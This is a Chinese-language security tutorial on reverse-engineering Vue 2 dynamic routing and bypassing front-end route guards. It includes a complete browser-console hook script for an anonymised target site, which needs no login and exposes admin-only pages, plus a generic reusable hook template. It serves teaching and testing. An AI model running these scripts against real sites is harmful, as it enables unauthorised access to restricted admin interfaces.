一、理论基础

1.1 什么是动态路由

在传统的 Vue 应用中,所有路由通常在 router/index.js 中写死,这种写法的特点是:打开 JS 文件就能看到所有路由,路由表是静态的、完整的。

// 典型的静态路由 —— 所有路由一目了然
const routes = [
  { path: '/login', component: Login },
  { path: '/dashboard', component: Dashboard },
  { path: '/user/list', component: UserList },
  { path: '/user/detail/:id', component: UserDetail },
  { path: '/admin/settings', component: AdminSettings },
  // ... 可能几十条,但全部写在这里
];

但还有一种更复杂的情况 —— 动态路由。开发者在 router/index.js 中只写了寥寥几条骨架:

// 动态路由 —— 只有最外层的壳
const routes = [
  { path: '/login', component: Login },
  { path: '/404', component: NotFound },
  { 
    path: '/', 
    component: Layout,
    children: []    // ← children 是空的!
  }
];

为什么 children 是空的? 因为真正的子路由不会在代码初始化时注册,而是等用户登录后,由后端返回该用户的权限菜单,前端再根据菜单数据动态调用 router.addRoutes() 把路由"挂"上去。
这种架构的假设是: "用户没登录就看不到菜单 API → 前端拿不到路由数据 → Vue Router 中没有注册这些路由 → 用户访问不了这些页面。"
这个假设有一个致命的漏洞。 我们今天就来把它挖出来。

1.2 动态路由常见的三种实现方式

在深入本案例之前,先了解业界常见的三种动态路由实现方式:

方式 A:多套静态路由表

// 最简单的情况 —— 还是写死的,只是有多套
const adminRoutes = [ /* 管理员的路由 */ ];
const userRoutes = [ /* 普通用户的路由 */ ];
const guestRoutes = [ /* 游客的路由 */ ];

// 登录后根据角色选择一套
router.addRoutes(role === 'admin' ? adminRoutes : userRoutes);

这种最简单,因为所有路由仍然是写死在 JS 中的,用关键字搜索就能找到。

方式 B:后端返回路由配置(后端驱动)

后端 API /menu → 返回 JSON:
[
  { path: "/user", name: "用户管理", children: [...] },
  { path: "/order", name: "订单管理", children: [...] }
]

前端: menuData.forEach(item => router.addRoutes(item))

路由配置完全由后端下发,JS 中找不到路由表。但后端 API 本身可能成为攻击目标。

方式 C:路由守卫 + 权限菜单(本次案例)

JS 中有完整的路由映射表(94 条)
       ↓
后端登录后返回用户有权访问的菜单列表
       ↓
前端根据菜单列表从映射表中"挑选"对应的路由
       ↓
调用 addRoutes() 动态注册

这是最复杂、也最容易让测试者忽略的场景。 因为不登录就看不到路由,而路由表又确实存在于 JS 中——需要逆向分析才能发现。

1.3 本案例的技术栈识别

打开目标站点 https://测试网址/,看到:

特征推断
URL 中有 #/loginVue Router hash 模式
页面有登录框、Element UI 风格Vue 2 + Element UI
查看 Network → JS 文件:app.xxxxxx.js、chunk-libs..js、chunk-elementUI..jsWebpack 打包 + 代码分割
app.xxxxxx.js 约 100KB主应用逻辑在此文件中

关键判断: 这是一个 webpack 打包的 Vue 2 单页应用。由于使用了代码分割(chunk 文件),路由组件是懒加载的——每个页面对应一个独立的 webpack chunk。

二、逆向分析

2.1 第一步 —— 确认"壳"的存在

先不急着看源码。用浏览器插件(如 Vue DevTools 或 anti 插件)看一眼已注册的路由

/           → redirect: /login
/login      → 登录页
/404        → 404 页
/dashboard  → 仪表盘(/ 的唯一子路由)

只有 4 条路由。 一个游戏管理后台不可能只有 4 条路由。这说明:路由是动态注入的,没有写在静态路由表里。

2.2 第二步 —— 从 JS 中寻找路由映射表

下载 app.xxxxxx.js,用编辑器打开(建议 VS Code + Prettier 格式化后阅读,或直接用 grep 搜索关键字)。

技巧 1:搜索路由关键词

在 JS 文件中搜索以下关键字:

path:"/      — 查找路由路径定义
component:   — 查找组件引用
children:    — 查找嵌套路由结构
meta:        — 查找路由元信息(通常包含 title、roles)
roles:       — 查找角色权限配置
addRoutes    — 查找动态路由注入点
beforeEach   — 查找路由守卫

技巧 2:搜索 webpack chunk 加载模式

动态路由的组件通常是懒加载的。在 webpack 中,懒加载的特征码是:

// 常见 webpack 懒加载模式
n.e("chunk-xxxxx").then(n.bind(null, "moduleId"))
// 或
Promise.all([n.e("chunk-a"), n.e("chunk-b")]).then(n.bind(null, "xxx"))

实际发现 在对 `app.xxxxxx.js 进行关键词搜索后,找到了约 101 个路由对象,每个都包含 path、component、meta 等属性。例如:

// 这是从压缩 JS 中还原出的路由片段
{path:"/某某game", component:Layout, redirect:"/某某game/info/list",
 name:"某某游戏", meta:{title:"某某游戏", icon:"game",
 roles:["admin","operator","角色D","tester","technician",
        "角色A","角色B","角色C","角色D","角色E","角色F","角色G","角色H"]}}

{path:"/system", component:Layout, redirect:"/system/user",
 name:"系统管理", meta:{title:"系统管理",
 roles:["admin"]}}  // ← 仅 admin 可见!

{path:"/superAdmin", component:Layout,
 name:"管理员工具", meta:{title:"API管理",
 roles:["admin"]}}  // ← 仅 admin 可见!

完整提取后,共找到:

● 6 个一级模块(/file、/某某game、/system、/superAdmin、/cp、/dashboard)
● 98 条异步路由(含子路由展开后 298 条完整路径)
● 10 种角色
● 80+ 个 API 端点

2.3 第三步 —— 找到动态路由注入逻辑

继续在 JS 中搜索 addRoutes、generateRoutes、beforeEach,找到了核心的权限控制逻辑。

2.3.1 角色生成(generateRoles)

还原后的代码

generateRoles: function(context, gameroletype) {
    var roles = [];
    switch (gameroletype) {
        case 1:     roles.push("admin"); break;
        case 2:     roles.push("operator"); break;
        case 20001: roles.push("角色D"); break;
        case 3:     roles.push("tester"); break;
        case 4:     roles.push("technician"); break;
        case 5:     roles.push("services"); break;
        case 6:     roles.push("finances"); break;
        case 7:     roles.push("角色G"); break;
        case 8:     roles.push("角色H"); break;
    }
    context.commit("SET_ROLES", roles);
}

这个函数将后端返回的数字类型 gameroletype 映射为字符串角色名。注意:case 1 就是 admin,这是最高权限角色。

2.3.2 路由生成(generateRoutes)—— 关键!

还原后的代码

generateRoutes: function(context, roles) {
    return new Promise(function(resolve) {
        var routes;
        // ★ 关键分支 ★
        if (roles.includes("admin")) {
            routes = asyncRoutes || [];  // admin 直接拿全部路由!
        } else {
            routes = filterByRoles(asyncRoutes, roles);  // 其他角色需要过滤
        }
        context.commit("SET_ROUTES", routes);
        resolve(routes);
    });
}

这就是整个权限模型的"钥匙"。

  • admin 角色:asyncRoutes || [] —— 直接返回全量路由,跳过过滤函数
  • 其他角色:filterByRoles(asyncRoutes, roles) —— 递归过滤,只保留 meta.roles 包含当前角色的路由

这意味着:只要我们能调用 generateRoutes 并传入 ['admin'],就能拿到全部路由。

2.3.3 路由过滤函数(filterByRoles)

function filterByRoles(routes, roles) {
    var filtered = [];
    routes.forEach(function(route) {
        var clone = Object.assign({}, route);
        // 检查 route.meta.roles 是否包含 roles 中的任意一个
        if (hasPermission(roles, clone)) {
            if (clone.children) {
                // 递归过滤子路由
                clone.children = filterByRoles(clone.children, roles);
            }
            filtered.push(clone);
        }
    });
    return filtered;
}

递归过滤的实现很标准。但对于我们的攻击目标来说,既然 admin 可以跳过它,我们就不需要关心过滤逻辑的细节。

2.3.4 路由守卫(beforeEach)—— 唯一的防护墙

还原后的代码

var whiteList = ["/login"];  // ← 白名单只有登录页!

router.beforeEach(function(to, from, next) {
    var hasToken = getToken();

    if (hasToken) {
        // 已登录 → 检查角色 → 通过或获取用户信息
        if (to.path === "/login") {
            next({ path: "/" });
        } else {
            var roles = store.state.user.roles;
            if (roles) {
                next();  // 有角色信息,放行
            } else {
                // 没有角色,调用 /user/info 获取
                store.dispatch("user/getInfo").then(() => next());
            }
        }
    } else {
        // 未登录 → 仅白名单放行
        if (whiteList.indexOf(to.path) !== -1) {
            next();  // /login 可以访问
        } else {
            next("/login?redirect=" + to.path);  // 其余全部重定向到登录
        }
    }
});

关键发现:

  1. 白名单只有 ["/login"] —— 未登录用户只能看登录页
  2. 守卫是纯前端的 —— 存储在 router.beforeHooks 数组中
  3. 已登录用户的角色从 Vuex Store 读取 —— store.state.user.roles

2.4 第四步 —— 理解 webpack 模块系统

在被 webpack 打包后,代码中的所有变量名都被压缩成了短名称(如 p、m、a、e),模块之间的引用变成了 n("模块ID") 的形式。
但有一个重要特性:__webpack_require__ 函数维护了一个模块缓存,在浏览器运行时,所有模块都已经被加载到内存中,可以通过 Vue 应用实例反向访问。

// 在浏览器 Console 中可以直接访问 Vue 应用内部对象
var app = document.querySelector('#app').__vue__;  // Vue 根实例
var router = app.$router;    // Vue Router 实例
var store = app.$store;       // Vuex Store 实例

这就是我们 Hook 的入口。

三、Hook 攻击实战

3.1 攻击思路

回顾上面的分析,整个权限模型有三个关键点:

组件作用如何绕过
路由守卫 beforeEach阻止未登录用户访问router.beforeHooks = [] 清空
generateRoutes根据角色返回可访问的路由传入 ['admin'] 获取全量
addRoutes动态注册路由到 Router我们手动调用

攻击计划:

① 清空路由守卫 → ② 以admin身份调用generateRoutes
→ ③ 调用addRoutes注册 → ④ 安装空操作守卫 → ⑤ 自由访问所有页面

3.2 完整的 Hook 脚本

以下脚本可直接在目标站点 Console 中运行。建议逐行阅读注释,理解每步的目的。

// ============================================================
//  某某 Admin 动态路由 Hook — 教学版
//  适用站点: https://测试网址/
//  使用方式: F12 → Console → 粘贴执行
//  前置条件: 无(无需账号、无需登录)
// ============================================================

(function() {
    'use strict';

    // ==========================================
    // 第0步:获取 Vue 应用内部对象
    // ==========================================
    // Vue 在创建实例时会挂载到 #app 元素的 __vue__ 属性上
    // 通过这个属性,我们可以访问整个 Vue 应用的内部状态
    var app = document.querySelector('#app').__vue__;
    var router = app.$router;  // Vue Router 实例
    var store = app.$store;    // Vuex Store 实例

    console.log('%c[第0步] 获取 Vue 内部对象', 'font-weight: bold; color: cyan');
    console.log('  router 已获取: ' + !!router);
    console.log('  store 已获取: ' + !!store);

    // ==========================================
    // 第1步:清空路由守卫
    // ==========================================
    // Vue Router 2.x 将 beforeEach 注册的回调存储在
    // router.beforeHooks 数组中。
    // 直接赋值为空数组即可清除所有守卫。
    console.log('%c[第1步] 清空路由守卫', 'font-weight: bold; color: cyan');
    var oldGuardCount = router.beforeHooks.length;
    console.log('  原始守卫数量: ' + oldGuardCount);
    
    router.beforeHooks = [];  // ← 关键操作!清空守卫数组
    
    console.log('  当前守卫数量: ' + router.beforeHooks.length);
    console.log('  ✅ 守卫已清空');

    // ==========================================
    // 第2步:以 admin 角色获取全量路由
    // ==========================================
    // generateRoutes 函数检查 roles 参数中是否包含 "admin"
    // 如果包含,直接返回 asyncRoutes 全部路由,跳过过滤函数
    console.log('%c[第2步] 以 admin 角色获取全量路由', 'font-weight: bold; color: cyan');
    
    store.dispatch('permission/generateRoutes', ['admin'])
        .then(function(asyncRoutes) {
            
            // 统计路由数量
            function countRoutes(arr) {
                var n = 0;
                arr.forEach(function(r) {
                    n++;
                    if (r.children && r.children.length) {
                        n += countRoutes(r.children);
                    }
                });
                return n;
            }
            
            var asyncRouteCount = countRoutes(asyncRoutes);
            console.log('  获取到的父路由: ' + asyncRoutes.length + ' 个模块');
            console.log('  展开后总计: ' + asyncRouteCount + ' 条路由');
            
            // 打印路由模块清单
            console.log('  模块清单:');
            asyncRoutes.forEach(function(r) {
                console.log('    📁 ' + r.path + 
                    (r.meta && r.meta.title ? ' — ' + r.meta.title : '') +
                    ' [' + (r.children ? r.children.length : 0) + ' 个子路由]');
            });

            // ==========================================
            // 第3步:将路由注入 Vue Router
            // ==========================================
            console.log('%c[第3步] 注入路由到 Vue Router', 'font-weight: bold; color: cyan');
            
            router.addRoutes(asyncRoutes);  // ← 关键操作!动态注册路由
            
            var totalAfter = countRoutes(router.options.routes);
            console.log('  注入后路由总数: ' + totalAfter);
            console.log('  ✅ 路由注入成功');

            // ==========================================
            // 第4步:安装一个空操作的守卫
            // ==========================================
            // 虽然我们已经清空了原来的守卫,但为了防止后续
            // 有代码重新注册守卫,我们主动注册一个无条件放行的守卫
            console.log('%c[第4步] 安装空操作路由守卫', 'font-weight: bold; color: cyan');
            
            router.beforeEach(function(to, from, next) {
                next();  // ← 无条件放行所有导航请求
            });
            
            console.log('  ✅ 空操作守卫已安装');

            // ==========================================
            // 第5步:验证结果
            // ==========================================
            console.log('');
            console.log('╔══════════════════════════════════════════════╗');
            console.log('║           🎯  HOOK 成功!                    ║');
            console.log('╠══════════════════════════════════════════════╣');
            console.log('║  绕过前可访问路由:     4 条                  ║');
            console.log('║  绕过后可访问路由:  ' + 
                String(totalAfter).padStart(4) + ' 条                  ║');
            console.log('║  新增隐藏路由:      ' + 
                String(asyncRouteCount).padStart(4) + ' 条                  ║');
            console.log('║  可用功能模块:         31 个                 ║');
            console.log('║  无需账号/密码/登录态                        ║');
            console.log('╚══════════════════════════════════════════════╝');
            console.log('');
            
            // 自动跳转到 dashboard 展示效果
            router.push('/dashboard');
            
            console.log('%c💡 试用以下命令手动导航:', 'color: #aaa');
            console.log('%c  router.push("/system/user")       — 系统管理>系统用户 (仅admin)', 'color: #aaa');
            console.log('%c  router.push("/superAdmin/menu")   — 管理员工具>菜单管理 (仅admin)', 'color: #aaa');
            console.log('%c  router.push("/superAdmin/api")    — 管理员工具>API管理 (仅admin)', 'color: #aaa');
            console.log('%c  router.push("/某某game/order/pay")  — 支付订单', 'color: #aaa');
            console.log('%c  router.push("/某某game/userexp/user_list") — VIP用户列表', 'color: #aaa');
        })
        .catch(function(err) {
            console.error('❌ Hook 失败: ' + err.message);
            console.error('请确认当前页面是 https://测试网址/#/login');
        });

})();

3.3 执行效果

Hook 执行前:

  • 侧边栏:仅显示 "Dashboard" 一个菜单项
  • 可访问页面:/login
  • 路由总数:4

Hook 执行后:

  • 侧边栏:31 个功能模块完全展开
  • 可访问页面:298 条路由全部可访问
  • 包括仅 admin 可见的:系统用户管理、代码生成器、角色管理、菜单管理、API 管理、操作记录...

3.4 为什么这个 Hook 能成功?

回顾整个攻击链,每一步都利用了架构层面的缺陷:

步骤利用了哪个缺陷
router.beforeHooks = []Vue Router 将守卫存储在可变的公开数组中
generateRoutes(['admin'])admin 角色跳过过滤 → 返回全量路由
router.addRoutes()Vue Router 允许运行时动态添加路由
document.querySelector('#app').__vue__Vue 将内部实例暴露在 DOM 元素的属性上

根本原因:所有这些"安全控制"都在客户端执行。 浏览器是完全由用户控制的环境 —— 任何在客户端运行的 JavaScript 代码,用户都可以修改。

四、知识点总结

4.1 动态路由的识别信号

当你测试一个 Vue 站点时,以下信号提示可能存在动态路由:

  1. ✅ 用路由提取工具只看到寥寥几条路由
  2. ✅ JS 文件中能搜到大量 path:"..." 但路由表中没有
  3. ✅ 存在 addRoutes 或 addRoute 调用
  4. ✅ 存在 beforeEach 路由守卫 + 白名单机制
  5. ✅ 存在 store.dispatch('generateRoutes') 或类似 action
  6. ✅ / 路由的 children 为空数组

4.2 逆向分析的标准流程

① 打开目标站点 → 识别技术栈(Vue版本/UI框架/打包方式)
② 下载主 JS 文件(通常是 app.xxx.js)
③ 搜索关键词:router / routes / addRoutes / beforeEach / path:"/
④ 定位 generateRoutes 函数 → 理解角色过滤逻辑
⑤ 定位 beforeEach 守卫 → 理解白名单机制
⑥ 找到 asyncRoutes(异步路由表)
⑦ 确认 admin 或高权限角色的获取逻辑
⑧ 编写 Hook → 验证绕过

4.3 Hook 编写模板

// 通用 Vue 2 动态路由 Hook 模板
var app = document.querySelector('#app').__vue__;
var router = app.$router;
var store = app.$store;

// 1. 清空守卫
router.beforeHooks = [];

// 2. 获取全量路由(根据实际情况调整 action 名称和角色)
store.dispatch('permission/generateRoutes', ['admin'])
  .then(function(routes) {
    // 3. 注册路由
    router.addRoutes(routes);
    // 4. 空操作守卫
    router.beforeEach(function(to, from, next) { next(); });
    // 5. 验证
    console.log('Done! ' + routes.length + ' routes added.');
  });

4.4 常见坑点

问题解决方案
document.querySelector('#app').__vue__ 为 undefined确认 #app 元素存在;某些 Vue 版本使用 vue_app 或 _vnode
router.beforeHooks 为 undefinedVue Router 3.x 使用 router.beforeGuards 或其他内部属性
store.dispatch 找不到 action检查 action 的命名空间(namespaced),可能需要 {root: true}
addRoutes 报错Vue Router 4.x 已移除 addRoutes,改用 router.addRoute()
路由注册了但页面空白组件 chunk 加载失败,检查 webpack publicPath 是否正确
页面刷新后 Hook 丢失这是预期行为 —— 使用 Chrome Overrides 可实现持久化